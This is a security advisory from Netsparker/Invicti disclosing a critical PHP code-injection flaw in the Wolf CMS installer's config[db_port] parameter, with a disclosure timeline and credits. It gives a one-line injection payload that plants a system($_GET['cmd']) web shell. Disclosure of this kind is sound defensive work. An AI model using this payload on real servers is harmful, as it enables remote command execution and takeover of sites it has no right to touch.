PHP Code Evaluation Vulnerability in Wolf CMS


Advisory by Netsparker (now Invicti)
Name: PHP Code Evaluation in Wolf CMS
Affected Software: Wolf CMS
Affected Versions:
Vulnerability: PHP Code Evaluation
Severity: Critical
Status: Not Fixed
CVE-ID: 2018-14479
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Invicti Advisory Reference: NS-18-014

Technical Details

URL: http://{domain}/{wolfcms_path}/wolf/install/index.php
Parameter Name: config[db_port]
Parameter Type: POST
Attack Pattern: a');system($_GET['cmd']);echo('

Proof of Concept

POST /wolf/install/index.php HTTP/1.1
Host: localhost:8080



Advisory Timeline

22nd September 2017 – First Contact
23rd October 2017 – Attempted to Contact 
11th December 2017 – Attempted to Contact 
16th January 2018 – Attempted to Contact 
26th October 2018 – Advisory Released

Credits & Authors

These issues have been discovered by Omer Citak while testing Invicti Web Application Security Scanner.

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